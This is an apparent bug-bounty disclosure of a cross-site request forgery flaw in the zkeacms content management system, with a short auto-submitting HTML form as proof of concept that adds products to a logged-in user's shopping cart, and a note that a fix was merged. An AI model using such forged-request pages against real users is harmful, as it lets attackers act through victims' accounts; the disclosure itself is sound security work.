Cross-Site Request Forgery (CSRF) in seriawei/zkeacms

Valid

Reported on

Jul 17th 2021


✍️ Description

ZKEACMS is vulnerable to Cross-site request forgery. The app has no mechanism against CSRF in all HTTP requests.

🕵️‍♂️ Proof of Concept

Sample: Add products to the shopping cart.

HTML content:

<form id="form" action="http://localhost:5000/Basket/Add" method="POST">
  <input id="product" type="text" name="productId" value="2">
  <input type="text" name="quantity" value="10">
  <input type="submit">
</form>

<script>
  setTimeout(() => { form.submit() }, 2000);
</script>
  1. Save the above content into an HTML file.
  2. With an authenticated user, open the HTML file.
  3. Check the shopping cart.

PoC video.

💥 Impact

When a victim access a malicious page, it is possible to perform any action which compromises the victim's account.

We have contacted a member of the seriawei/zkeacms team and are waiting to hear back 2 months ago
Wayne confirmed that a fix has been merged on 5c871c 2 months ago
Wayne has been awarded the fix bounty